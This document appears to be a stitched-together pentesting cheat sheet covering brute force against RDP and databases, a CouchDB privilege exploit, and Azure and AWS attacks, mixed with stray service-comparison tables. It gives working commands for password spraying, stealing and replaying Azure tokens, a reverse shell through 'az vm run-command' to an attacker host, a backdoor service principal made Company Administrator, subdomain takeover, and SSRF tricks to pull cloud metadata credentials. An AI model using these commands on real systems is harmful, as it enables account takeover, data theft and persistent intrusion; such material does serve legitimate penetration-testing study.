    rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
    rdesktop -u guest -p guest 10.11.1.111 -g 94%
    ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
    python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v
    psql -h 10.10.1.111 -U postgres -W
    
    # Default creds
    postgres : postgres
    postgres : password
    postgres : admin
    admin : admin
    admin : password
    
    pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
    nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111
    curl http://example.com:5984/
    curl -X GET http://IP:5984/_all_dbs
    curl -X GET http://user:password@IP:5984/_all_dbs
    
    # CVE-2017-12635 RCE
    
    # Create user
    curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:chenny' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’
    
    # Dump database
    curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u chenny:-Xpassword <ds/_all_docs?include_docs=true -u chenny:-Xpassword
    
    # Dump passwords
    curl -X GET http://user:passwords@localhost:5984/passwords
    # https://github.com/Hackplayers/evil-winrm
    gem install evil-winrm
    evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
    evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder
    # https://github.com/Avinash-acid/Redis-Server-Exploit
    python redis.py 10.10.10.160 redis
    # Microsoft IIS Deploy port
    IP:8172/msdeploy.axd
    Logo
    Basic Azure AD concepts and tips

    Azure enum

    Azure attacks examples

    Azure Block Blobs (S3 equivalent) attacks

    Azure subdomain takeovers

    Other Azure Services

    Create Azure service principal as backdoor

    Azure password reset

    Azure Services Summary

    Base services

    Azure Service
    Could be Called
    Use this to...
    Like AWS...

    Virtual Machines

    Servers

    Move existing apps to the cloud without changing them. You manage the entire computer.

    EC2

    Cloud Services

    Managed Virtual Machines

    Run applications on virtual machines that you don't have to manage, but can partially manage.

    Batch

    Mobile

    Azure Service
    Could be Called
    Use this to...
    Like AWS...

    Notification Hubs

    Notification Blaster

    Send notifications to all of your users, or groups of users based on things like zip code. All platforms.

    SNS

    Mobile Engagement

    Mobile Psychic

    Track what users are doing in your app, and customize experience based on this data.

    Storage

    Azure Service
    Could be Called
    Use this to...
    Like AWS...

    SQL Database

    Azure SQL

    Use the power of a SQL Server cluster without having to manage it.

    RDS

    Document DB

    Azure NoSQL

    Use an unstructured JSON database without having to manage it.

    Dynamo DB

    Redis Cache

    Networking

    Azure Service
    Could be Called
    Use this to...
    Like AWS...

    Virtual Network

    Private Network

    Put machines on the same, private network so that they talk to each other directly and privately. Expose services to the internet as needed.

    ExpressRoute

    Fiber to Azure

    Connect privately over an insanely fast pipe to an Azure datacenter. Make your local network part of your Azure network.

    Direct Connect

    Load Balancer

    Management

    Azure Service
    Could be Called
    Use this to...
    Like AWS...

    Azure Resource Manager

    Declarative Configuration

    Define your entire Azure architecture as a repeatable JSON file and deploy all at once.

    CloudFormation

    Developer

    Azure Service

    Could be Called

    Use this to...

    Like AWS...

    Application Insights

    App Analytics

    View detailed information about how your apps (web, mobile, etc.) are used.

    Mobile Analytics

    Service Fabric

    Cloud App Framework

    Build a cloud optimized application that can scale and handle failures inexpensively.

    Argo Workflows - Uncovering the Hidden Misconfigurations | E.V.Awww.evasec.io
    A Pentester’s Approach to Kubernetes Security — Part 1Medium
    # Azure services list by domain
    https://learn.microsoft.com/en-us/azure/security/fundamentals/azure-domains
    
    # Tools 
    https://github.com/dirkjanm/ROADtools
    https://github.com/dafthack/PowerMeta
    https://github.com/NetSPI/MicroBurst
    https://github.com/nccgroup/ScoutSuite
    https://github.com/hausec/PowerZure
    https://github.com/fox-it/adconnectdump
    https://github.com/FSecureLABS/Azurite
    https://github.com/mburrough/pentestingazureapps
    https://github.com/Azure/Stormspotter
    https://github.com/nccgroup/azucar
    https://github.com/dafthack/MSOLSpray
    https://github.com/BloodHoundAD/BloodHound
    https://github.com/nccgroup/Carnivore
    https://github.com/CrowdStrike/CRT
    https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
    https://github.com/cyberark/blobhunter
    https://github.com/Gerenios/AADInternals
    https://github.com/prowler-cloud/prowler
    
    - Check if company is using Azure AD:
    https://login.microsoftonline.com/[email protected]&xml=1
    - If NameSpaceType is "Managed", the company uses Azure AD
    - Enumerate Azure AD emails
    https://github.com/LMGsec/o365creeper
    
    Auth methods:
    • Password Hash Synchronization
       ◇ Azure AD Connect
       ◇ On-prem service synchronizes hashed user credentials to Azure
       ◇ User can authenticate directly to Azure services like O365 with their internal domain credential
    • Pass Through Authentication
       ◇  Credentials stored only on-prem
       ◇ On-prem agent validates authentication requests to Azure AD
       ◇ Allows SSO to other Azure apps without creds stored in cloud
    • Active Directory Federation Services (ADFS)
       ◇ Credentials stored only on-prem
       ◇ Federated trust is setup between Azure and on-prem AD to validate auth requests to the cloud
       ◇ For password attacks you would have to auth to the on-prem ADFS portal instead of Azure endpoints
    • Certificate-based auth
       ◇ Client certs for authentication to API
       ◇ Certificate management in legacy Azure Service Management (ASM) makes it impossible to know who created a cert (persistence potential)
       ◇ Service Principals can be setup with certs to auth
    • Conditional access policies
    • Long-term access tokens
       ◇ Authentication to Azure with oAuth tokens
       ◇ Desktop CLI tools that can be used to auth store access tokens on disk
       ◇ These tokens can be reused on other MS endpoints
       ◇ We have a lab on this later!
    • Legacy authentication portals
    
    Recon:
    • O365 Usage
       ◇ https://login.microsoftonline.com/[email protected]&xml=1
       ◇ https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1
    • User enumeration on Azure can be performed at
        https://login.Microsoft.com/common/oauth2/token
          ▪ This endpoint tells you if a user exists or not
       ◇ Detect invalid users while password spraying with:
          ▪ https://github.com/dafthack/MSOLSpray
       ◇ For on-prem OWA/EWS you can enumerate users with timing attacks (MailSniper)
    • Auth 365 Recon:
    (https://github.com/nyxgeek/o365recon
    
    Microsoft Azure Storage:
    • Microsoft Azure Storage is like Amazon S3
    • Blob storage is for unstructured data
    • Containers and blobs can be publicly accessible via access policies
    • Predictable URL’s at core.windows.net
       ◇ storage-account-name.blob.core.windows.net
       ◇ storage-account-name.file.core.windows.net
       ◇ storage-account-name.table.core.windows.net
       ◇ storage-account-name.queue.core.windows.net
    • The “Blob” access policy means anyone can anonymously read blobs, but can’t list the blobs in the container
    • The “Container” access policy allows for listing containers and blobs
    • Microburst https://github.com/NetSPI/MicroBurst
       ◇ Invoke-EnumerateAzureBlobs
       ◇ Brute forces storage account names, containers, and files
       ◇ Uses permutations to discover storage accounts
            PS > Invoke-EnumerateAzureBlobs –Base 
    
    Password Attacks
    • Password Spraying Microsoft Online (Azure/O365)
    • Can spray https://login.microsoftonline.com
    --
    POST /common/oauth2/token HTTP/1.1
    Accept: application/json
    Content-Type: application/x-www-form-urlencoded
    Host: login.microsoftonline.com
    Content-Length: 195
    Expect: 100-continue
    Connection: close
    
    resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-
    dac224a7b894&client_info=1&grant_type=password&username=user%40targetdomain.com&passwor
    d=Winter2020&scope=openid
    --
    • MSOLSpray https://github.com/dafthack/MSOLSpray
       ◇ The script logs:
          ▪ If a user cred is valid
          ▪ If MFA is enabled on the account
          ▪ If a tenant doesn't exist
          ▪ If a user doesn't exist
          ▪ If the account is locked
          ▪ If the account is disabled
          ▪ If the password is expired
       ◇ https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes
    
    Password protections & Smart Lockout
    • Azure Password Protection – Prevents users from picking passwords with certain words like seasons, company name, etc.
    • Azure Smart Lockout – Locks out auth attempts whenever brute force or spray attempts are detected.
       ◇ Can be bypassed with FireProx + MSOLSpray
       ◇ https://github.com/ustayready/fireprox
    
    Phising session hijack
    • Evilginx2 and Modlishka
       ◇ MitM frameworks for harvesting creds/sessions
       ◇ Can also evade 2FA by riding user sessions
    • With a hijacked session we need to move fast
    • Session timeouts can limit access
    • Persistence is necessary
    
    Steal Access Tokens
    • Azure config files:
       web.config
       app.config
       .cspkg
       .publishsettings
    • Azure Cloud Service Packages (.cspkg)
    • Deployment files created by Visual Studio
    • Possible other Azure service integration (SQL, Storage, etc.)
    • Look through cspkg zip files for creds/certs
    • Search Visual Studio Publish directory
        \bin\debug\publish
    • Azure Publish Settings files (.publishsettings)
       ◇ Designed to make it easier for developers to push code to Azure
       ◇ Can contain a Base64 encoded Management Certificate
       ◇ Sometimes cleartext credentials
       ◇ Open publishsettings file in text editor
       ◇ Save “ManagementCertificate” section into a new .pfx file
       ◇ There is no password for the pfx
       ◇ Search the user’s Downloads directory and VS projects
    • Check %USERPROFILE&\.azure\ for auth tokens
    • During an authenticated session with the Az PowerShell module a TokenCache.dat file gets generated in the %USERPROFILE%\.azure\ folder.
    • Also search disk for other saved context files (.json)
    • Multiple tokens can exist in the same context file
    
    Post-Compromise
    • What can we learn with a basic user?
    • Subscription Info
    • User Info
    • Resource Groups
    • Scavenging Runbooks for Creds
    • Standard users can access Azure domain information and isn’t usually locked down
    • Authenticated users can go to portal.azure.com and click Azure Active Directory
    • O365 Global Address List has this info as well
    • Even if portal is locked down PowerShell cmdlets will still likely work
    • There is a company-wide setting that locks down the entire org from viewing Azure info via cmd line: Set-MsolCompanySettings – UsersPermissionToReadOtherUsersEnabled $false
    
    Azure: CLI Access
    • Azure Service Management (ASM or Azure “Classic”)
       ◇ Legacy and recommended to not use
    • Azure Resource Manager (ARM)
       ◇ Added service principals, resource groups, and more
       ◇ Management Certs not supported
    • PowerShell Modules
       ◇ Az, AzureAD & MSOnline
    • Azure Cross-platform CLI Tools
       ◇ Linux and Windows client
    
    Azure: Subscriptions
    • Organizations can have multiple subscriptions
    • A good first step is to determine what subscription you are in
    • The subscription name is usually informative
    • It might have “Prod”, or “Dev” in the title
    • Multiple subscriptions can be under the same Azure AD directory (tenant)
    • Each subscription can have multiple resource groups
    
    Azure User Information
    • Built-In Azure Subscription Roles
       ◇ Owner (full control over resource)
       ◇ Contributor (All rights except the ability to change permissions)
       ◇ Reader (can only read attributes)
       ◇ User Access Administrator (manage user access to Azure resources)
    • Get the current user’s role assignement
        PS> Get-AzRoleAssignment
    • If the Azure portal is locked down it is still possible to access Azure AD user information via MSOnline cmdlets
    • The below examples enumerate users and groups
        PS> Import-Module MSOnline
        PS> Connect-MsolService
    Or
        PS> $credential = Get-Credential
        PS> Connect-MsolService -Credential $credential
        
        PS> Get-MSolUser -All
        PS> Get-MSolGroup –All
        PS> Get-MSolGroupMember –GroupObjectId 
        PS> Get-MSolCompanyInformation
    • Pipe Get-MSolUser –All to format list to get all user attributes
        PS> Get-MSolUser –All | fl
    
    Azure Resource Groups
    • Resource Groups collect various services for easier management
    • Recon can help identify the relationships between services such as WebApps and SQL
        PS> Get-AzResource
        PS> Get-AzResourceGroup
        PS> Get-AzStorageAccount
    Azure: Runbooks
    • Azure Runbooks automate various tasks in Azure
    • Require an Automation Account and can contain sensitive information like passwords
        PS> Get-AzAutomationAccount
        PS> Get-AzAutomationRunbook -AutomationAccountName  -ResourceGroupName 
    • Export a runbook with:
        PS> Export-AzAutomationRunbook -AutomationAccountName  -ResourceGroupName  -Name  -OutputFolder .\Desktop\
    
    Azure VMs:
       PS> Get-AzVM
       PS> $vm = Get-AzVM -Name "VM Name"
       PS> $vm.OSProfile
       PS> Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
    
    Azure Virtual Networks:
       PS> Get-AzVirtualNetwork
       PS> Get-AzPublicIpAddress
       PS> Get-AzExpressRouteCircuit
       PS> Get-AzVpnConnection
    
    # Quick 1-liner to search all Azure AD user attributes for passwords after auth'ing with Connect-MsolService:  
    $x=Get-MsolUser;foreach($u in $x){$p = @();$u|gm|%{$p+=$_.Name};ForEach($s in $p){if($u.$s -like "*password*"){Write("[*]"+$u.UserPrincipalName+"["+$s+"]"+" : "+$u.$s)}}}
    
    # https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html
    
    # Removing Azure services
    - Under Azure Portal -> Resource Groups
    
    # Interesting metadata instance urls:
    http://169.254.169.254/metadata/v1/maintenance
    http://169.254.169.254/metadata/instance?api-version=2017-04-02
    http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
    - Source of authentication for Office 365, Azure Resource Manager, and anything else you integrate with it.
    
    - Powershell interaction:
    • MSOnline PowerShell module
        • Focusses on Office 365
        • Some Office 365 specific features
    • AzureAD PowerShell module
        • General Azure AD
        • Different feature set
    • Azure CLI / Az powershell module
        • More focus on Azure Resource Manager
        
    - Azure AD principals
    • Users
    • Devices
    • Applications
    
    - Azure AD roles
    • RBAC Roles are only used for Azure Resource Manager
    • Office 365 uses administrator roles exclusively
    
    - Azure AD admin roles
    • Global/Company administrator can do anything
    • Limited administrator accounts
        • Application Administrator
        • Authentication Administrator
        • Exchange Administrator
        • Etc
    • Roles are fixed
    
    - Azure AD applications
    • Documentation unclear
    • Terminology different between documentation, APIs and Azure portal
    • Complex permission system
    • Most confusing part
    • Examples:
        • Microsoft Graph
        • Azure Multi-Factor Auth Client
        • Azure Portal
        • Office 365 portal
        • Azure ATP
    • A default Office 365 Azure AD has about 200 service principals
        (read: applications)
    - App permissions
    • Two types of privileges:
        • Delegated permissions
        • Require signed-in user present to utilize
    • Application permissions
        • Are assigned to the application, which can use them at any time
    • These privileges are assigned to the service principal
    • Every application defines permissions
    • Can be granted to Service Principals
    • Commonly used:
        • Microsoft Graph permissions
        • Azure AD Graph permissions
        
    - Azure AD Sync Account
    • Dump all on-premise password hashes (if PHS is enabled)
    • Log in on the Azure portal (since it’s a user)
    • Bypass conditional access policies for admin accounts
    • Add credentials to service principals
    • Modify service principals properties
    
    If password hash sync is in use:
    Compromised Azure AD connect Sync account = Compromised AD
    
    • Encryption key is encrypted with DPAPI
    • Decrypted version contains some blob with AES keys
    • Uses AES-256 in CBC mode
    
    Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
    
    Anyone who can edit properties* of the AZUREADSSOACC$ account, can impersonate any user in Azure AD using Kerberos (if no MFA)
    
    # Must install
    # https://github.com/Gerenios/AADInternals 
    # https://github.com/NetSPI/MicroBurst
    
    # Get Tenant Name
    https://login.microsoftonline.com/[email protected]&xml=1
    
    # Get Tenant ID with AADInternals
    Get-AADIntTenantID -Domain COMPANY.onmicrosoft.com
    # Get Tenant ID manually
    https://login.microsoftonline.com/COMPANY.onmicrosoft.com/.well-known/openid-configuration
    
    # Get Tenant Domains
    Get-AADIntTenantDomains -Domain COMPANY.com
    
    # Get valid email addresses
    # https://github.com/Raikia/UhOh365
    
    # Azure Services (MicroBurst)
    Invoke-EnumerateAzureSubDomains -Base COMPANY -Verbose
    
    # Azure Blobs (MicroBurst)
    Invoke-EnumerateAzureBlobs -Base COMPANY
    
    # Azure Users on Tenant (Az Module)
    Get-AzureADUser -All $true
    
    # Azure Groups on Tenant (Az Module)
    Get-AzureADGroup -All $true
    
    # Get user's read permissions on Azure Resources (Az Module)
    Get-AzResource
    
    # List Dynamic Groups (Az Module)
    Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
    
    # List Membership group rules (Az Module)
    Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} | select MembershipRule
    # Password spraying
    https://github.com/dafthack/MSOLSpray/MSOLSpray.ps1
    Create a text file with ten (10) fake users we will spray along with your own user account ([email protected] ). (Do not spray accounts you do not own. You may use my domain “glitchcloud.com” for generating fake target users) and save as userlist.txt
    
    Import-Module .\MSOLSpray.ps1
    Invoke-MSOLSpray -UserList .\userlist.txt -Password [the password you set for your test account]
    
    # Access Token
    
    PS> Import-Module Az
    PS> Connect-AzAccount
    or
    PS> $credential = Get-Credential
    PS>Connect-AzAccount -Credential $credential
    
    PS> mkdir C:\Temp
    PS> Save-AzContext -Path C:\Temp\AzureAccessToken.json
    PS> mkdir “C:\Temp\Live Tokens”
    
    # Auth
    Connect-AzAccount
    ## Or this way sometimes gets around MFA restrictions
    $credential = Get-Credential
    Connect-AzAccount -Credential $credential
    
    Open Windows Explorer and type %USERPROFILE%\.Azure\ and hit enter
    • Copy TokenCache.dat & AzureRmContext.json to C:\Temp\Live Tokens
    • Now close your authenticated PowerShell window!
    
    Delete everything in %USERPROFILE%\.azure\
    • Start a brand new PowerShell window and run:
    PS> Import-Module Az
    PS> Get-AzContext -ListAvailable
    • You shouldn’t see any available contexts currently
    
    • In your PowerShell window let’s manipulate the stolen TokenCache.dat and AzureRmContext.json files so we can import it into our PowerShell session
    
    PS> $bytes = Get-Content "C:\Temp\Live Tokens\TokenCache.dat" -Encoding byte
    PS> $b64 = [Convert]::ToBase64String($bytes)
    PS> Add-Content "C:\Temp\Live Tokens\b64-token.txt" $b64
    
    • Now let’s add the b64-token.txt to the AzureRmContext.json file.
    • Open the C:\Temp\Live Tokens folder.
    • Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.
    • Delete the word “null” on this line
    • Where “null” was add two quotation marks (“”) and then paste the contents of b64-token.txt in between them.
    • Save this file as C:\Temp\Live Tokens\StolenToken.json
    • Let’s import the new token
    
    PS> Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json’
    
    • We are now operating in an authenticated session to Azure
    
    PS> $context = Get-AzContext
    PS> $context.Account
    
    • You can import the previously exported context (AzureAccessToken.json) the same way
    
    # Azure situational awareness
    • GOAL: Use the MSOnline and Az PowerShell modules to do basic enumeration of an Azure account post-compromise.
    • In this lab you will authenticate to Azure using your Azure AD account you setup. Then, you will import the MSOnline and Az PowerShell modules and try out some of the various modules that assist in enumerating Azure resource usage.
    
    • Start a new PowerShell window and import both the MSOnline and Az modules
        PS> Import-Module MSOnline
        PS> Import-Module Az
    • Authenticate to each service with your Azure AD account:
        PS> Connect-AzAccount
        PS> Connect-MsolService
    • First get some basic Azure information 
        PS> Get-MSolCompanyInformation
    • Some interesting items here are
       ◇ UsersPermissionToReadOtherUsersEnabled
       ◇ DirSyncServiceAccount
       ◇ PasswordSynchronizationEnabled
       ◇ Address/phone/emails
    • Next, we will start looking at the subscriptions associated with the account as well as look at the current context we are operating in. Look at the “Name” of the subscription and context for possible indication as to what it is associated with.
        PS> Get-AzSubscription
        PS> $context = Get-AzContext
        PS> $context.Name
        PS> $context.Account
    • Enumerating the roles assigned to your user will help identify what permissions you might have on the subscription as well as who to target for escalation.
        PS> Get-AzRoleAssignment
    • List out the users on the subscription. This is the equivalent of “net users /domain” in on-prem AD
        PS> Get-MSolUser -All
        PS> Get-AzAdApplication
        PS> Get-AzWebApp
        PS> Get-AzSQLServer
        PS> Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
        PS> Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName
        PS> Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName
    • The user you setup likely doesn’t have any resources currently associated with it, but these commands will help to understand the specific resources a user you gain access to has.
        PS> Get-AzResource
        PS> Get-AzResourceGroup
    • Choose a subscription
        PS> Select-AzSubscription -SubscriptionID "SubscriptionID"
    • There are many other functions.
    • Use Get-Module to list out the other Az module groups
    • To list out functions available within each module use the below command substituting the value of the “Name” parameter.
        PS> Get-Module -Name Az.Accounts | Select-Object -ExpandProperty ExportedCommands
        PS> Get-Module -Name MSOnline | Select-Object -ExpandProperty ExportedCommands
    # Discovering with Google Dorks
    site:*.blob.core.windows.net
    site:*.blob.core.windows.net ext:xlsx | ext:csv "password"
    # Discovering with Dns enumeration
    python dnscan.py -d blob.core.windows.net -w subdomains-100.txt
    
    # When you found one try with curl, an empty container respond with 400
    
    # List containers
    az storage container list --connection-string '<connection string>'
    # List blobs in containers
    az storage blob list --container-name <container name> --connection-string '<connection string>'
    # Download blob from container
    az storage blob download --container-name <container name> --name <file> --file /tmp/<file> --connection-string '<connection string>'
    # Azure CloudApp: cloudapp.net
        1 Check CNAME with dig pointing to cloudapp.net
        2 Go to https://portal.azure.com/?quickstart=True#create/Microsoft.CloudService
        3 Register unclaimed domain which CNAME is pointing
    
    
    # Azure Websites: azurewebsites.net
        1 Check CNAME with dig pointing to azurewebsites.net
        2 Go to https://portal.azure.com/#create/Microsoft.WebSite
        3 Register unclaimed domain which CNAME is pointing
        4 Register domain on the Custom domains section of the dashboard
    
    # Azure VM: cloudapp.azure.com
        1 Check CNAME with dig pointing to *.region.cloudapp.azure.com
        2 Registering a new VM in the same region with size Standard_B1ls (cheapest) with 80 and 443 open
        3 Go to Configuration and set the domain name which CNAME is pointing    
    # Azure App Services Subdomain Takeover
    - For target example.com you found users.example.com
    - Go https://users.galaxybutter.com and got an error
    - dig CNAME users.galaxybutter.com and get an Azure App Services probably deprecated or removed
    - Creat an App Service and point it to the missing CNAME
    - Add a custom domain to the App Service
    - Show custom content
    
    # Azure Run Command
    # Feature that allows you to execute commands without requiring SSH or SMB/RDP access to a machine. This is very similar to AWS SSM.
    az login
    az login --use-device-code #Login
    az group list #List groups
    az vm list -g GROUP-NAME #List VMs inside group
    #Linux VM
    az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "id"
    #Windos VM
    az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunPowerShellScript --scripts "whoami"
    # Linux Reverse Shell Azure Command
    az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "bash -c \"bash -i >& /dev/tcp/ATTACKER-EXTERNAL-IP/9090 0>&1\""
    
    # Azure SQL Databases
    - MSSQL syntaxis
    - Dorks: "database.windows.net" site:pastebin.com
    
    # Azure AD commands
    az ad sp list --all
    az ad app list --all
    
    # Azure metadata service
    http://169.254.169.254/metadata/instance
    https://github.com/microsoft/azureimds
    $spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
    $spn
    $BSTR = ::SecureStringToBSTR($spn.Secret)
    $UnsecureSecret = ::PtrToStringAuto($BSTR)
    $UnsecureSecret
    $sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
    $role = Get-MsolRole -RoleName "Company Administrator"
    Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -
    RoleMemberObjectId $sp.ObjectId
    #Enter the AppID as username and what was returned for $UnsecureSecret as the password
    in the Get-Credential prompt
    $cred = Get-Credential
    Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal
    Logo

    Azure Distributed Processing

    Work on a large chunk of data by divvying it up between a whole bunch of machines.

    RemoteApp

    Remote Desktop for Apps

    Expose non-web apps to users. For example, run Excel on your iPad.

    AppStream

    Web Apps

    Web Site Host

    Run websites (.NET, Node.js, etc.) without managing anything extra. Scale automatically and easily.

    Elastic Beanstalk

    Mobile Apps

    Mobile App Accelerator

    Quickly get an app backend up and running.

    Logic Apps

    Visio for Doing Stuff

    Chain steps together to get stuff done.

    API Apps

    API Host

    Host your API's without any of the management overhead.

    API Management

    API Proxy

    Expose an API and off-load things like billing, authentication, and caching.

    API Gateway

    Easy Cache

    Cache files in memory in a scalable way.

    Elasticache

    Storage Blobs

    Cloud File System

    Store files, virtual disks, and build other storage services on top of.

    S3

    Azure Search

    Index & Search

    Add search capabilities to your website, or index data stored somewhere else.

    CloudSearch

    SQL Data Warehouse

    Structured Report Database

    Store all of your company's data in a structured format for reporting.

    RedShift

    Azure Data Lake

    Unstructured Report Database

    Store all of your company's data in any format for reporting.

    HDInsight

    Hosted Hadoop

    Do Hadoopy things with massive amounts of data.

    Machine Learning

    Skynet

    Train AI to predict the future using existing data. Examples include credit card fraud detection and Netflix movie recommendations.

    Stream Analytics

    Real-time data query

    Look for patterns in data as it arrives.

    Data Factory

    Azure ETL

    Orchestrate extract, transform, and load data processes.

    Data Pipeline

    Event Hubs

    IoT Ingestor

    Ingest data at ANY scale inexpensively.

    Load Balancer

    Split load between multiple services, and handle failures.

    Traffic Manager

    Datacenter Load Balancer

    Split load between multiple datacenters, and handle datacenter outages.

    DNS

    DNS Provider

    Run a DNS server so that your domain names map to the correct IP addresses.

    Route53

    VPN Gateway

    Virtual Fiber to Azure

    Connect privately to an Azure datacenter. Make your local network part of your Azure network.

    Application Gateway

    Web Site Proxy

    Proxy all of your HTTP traffic. Host your SSL certs. Load balance with sticky sessions.

    CDN

    CDN

    Make your sites faster and more scalable by putting your static files on servers around the world close to your end users.

    Cloudfront

    Media Services

    Video Processor

    Transcode video and distribute and manage it on the scale of the Olympics.

    Elastic Transcoder

    Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security AcademyWebSecAcademy
    Kubernetes for Pentesters: Part 1TrustedSec
    Logo

    AWS

    AWS basic info

    Find AWS in domain/company

    AIO AWS tools

    S3

    Basic Commands

    Find S3 buckets

    Check S3 buckets perms and files

    S3 examples attacks

    Enumerate read access buckets script

    IAM

    Basic commands

    Tools

    AWS IAM Cli Enumeration

    EBS

    Find secrets in public EBS

    EBS attack example

    EC2

    EC2 basic commands

    EC2 example attacks

    Tools

    Cloudfront

    Info

    Tools

    AWS Lambda

    Info

    Tools

    AWS Inspector

    AWS RDS

    Basic

    Attacks

    ECR

    Info

    Tools

    ECS

    Info

    AWS Cognito API

    Amazon Cognito is a user identity and data synchronization service. If the website uses other AWS services (like Amazon S3, Amazon Dynamo DB, etc.) Amazon Cognito provides you with delivering temporary credentials with limited privileges that users can use to access database resources.

    AWS Systems Manager

    Aws Services Summary

    AWS Service
    Should have been called
    Use this to
    It's like

    AWS vs AD

    Logo
    Auth methods:
    • Programmatic access - Access + Secret Key
       ◇ Secret Access Key and Access Key ID for authenticating via scripts and CLI
    • Management Console Access
       ◇ Web Portal Access to AWS
    
    AWS services lists by endpoint
    https://docs.aws.amazon.com/general/latest/gr/rande.html
    
    Recon:
    • AWS Usage
       ◇ Some web applications may pull content directly from S3 buckets
       ◇ Look to see where web resources are being loaded from to determine if S3 buckets are being utilized
       ◇ Burp Suite
       ◇ Navigate application like you normally would and then check for any requests to:
          ▪ https://[bucketname].s3.amazonaws.com
          ▪ https://s3-[region].amazonaws.com/[OrgName]
    
    S3:
    • Amazon Simple Storage Service (S3)
       ◇ Storage service that is “secure by default”
       ◇ Configuration issues tend to unsecure buckets by making them publicly accessible
       ◇ Nslookup can help reveal region
       ◇ S3 URL Format:
          ▪ https://[bucketname].s3.amazonaws.com
          ▪ https://s3-[region].amazonaws.com/[Org Name]
            # aws s3 ls s3://bucket-name-here --region 
            # aws s3api get-bucket-acl --bucket bucket-name-here
            # aws s3 cp readme.txt  s3://bucket-name-here --profile newuserprofile
    
    EBS Volumes:
    • Elastic Block Store (EBS)
    • AWS virtual hard disks
    • Can have similar issues to S3 being publicly available
    • Difficult to target specific org but can find widespread leaks
    
    EC2:
    • Like virtual machines
    • SSH keys created when started, RDP for Windows.
    • Security groups to handle open ports and allowed IPs.
    
    AWS Instance Metadata URL
    • Cloud servers hosted on services like EC2 needed a way to orient themselves because of how dynamic they are
    • A “Metadata” endpoint was created and hosted on a non-routable IP address at 169.254.169.254
    • Can contain access/secret keys to AWS and IAM credentials
    • This should only be reachable from the localhost
    • Server compromise or SSRF vulnerabilities might allow remote attackers to reach it
    • IAM credentials can be stored here:
       ◇ http://169.254.169.254/latest/meta-data/iam/security-credentials/
    • Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS.
       ◇ curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
    • CapitalOne Hack
       ◇ Attacker exploited SSRF on EC2 server and accessed metadata URL to get IAM access keys. Then, used keys to dump S3 bucket containing 100 million individual’s data.
    • AWS EC2 Instance Metadata service Version 2 (IMDSv2)
    • Updated in November 2019 – Both v1 and v2 are available
    • Supposed to defend the metadata service against SSRF and reverse proxy vulns
    • Added session auth to requests
    • First, a “PUT” request is sent and then responded to with a token
    • Then, that token can be used to query data
    --
    TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
    curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
    curl http://example.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
    --
    
    Post-compromise
    • What do our access keys give us access to?
    • Check AIO tools to do some recon (WeirdAAL- recon_module, PACU privesc,...)
    
    http://169.254.169.254/latest/meta-data
    http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
    
    # AWS nuke - remove all AWS services of our account
    # https://github.com/rebuy-de/aws-nuke
    - Fill nuke-config.yml with the output of aws sts get-caller-identity
    ./aws-nuke -c nuke-config.yml # Checks what will be removed
    - If fails because there is no alias created
    aws iam create-account-alias --account-alias unique-name
    ./aws-nuke -c nuke-config.yml --no-dry-run # Will perform delete operation
    
    # Cloud Nuke
    # https://github.com/gruntwork-io/cloud-nuke
    cloud-nuke aws
    
    # Other bypasses
    1.
    aws eks list-clusters | jq -rc '.clusters'
    ["example"]
    aws eks update-kubeconfig --name example
    kubectl get secrets
    
    2. SSRF AWS Bypasses to access metadata endpoint.
    Converted Decimal IP: http://2852039166/latest/meta-data/
    IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
    IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
    
    # Interesting metadata instance urls:
    http://instance-data
    http://169.254.169.254
    http://169.254.169.254/latest/user-data
